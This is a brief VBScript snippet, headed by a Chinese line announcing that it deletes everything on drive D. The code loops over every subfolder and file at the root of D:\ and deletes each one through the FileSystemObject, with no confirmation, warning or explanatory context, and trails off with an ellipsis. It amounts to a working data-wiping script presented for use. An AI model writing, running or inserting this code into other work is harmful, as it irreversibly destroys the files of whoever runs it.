我会删除D盘下所有文件Set a = CreateObject("scripting.filesystemobject")Set b = a.getfolder("D:\")Set c = b.subfoldersFor Each d In cSet e = a.getfolder(d.shortpath)a.deletefolder e.shortpathNextSet c = b.FilesFor Each d In cSet e = a.getfile(d.shortpath)a.deletefile e.shortpathNext...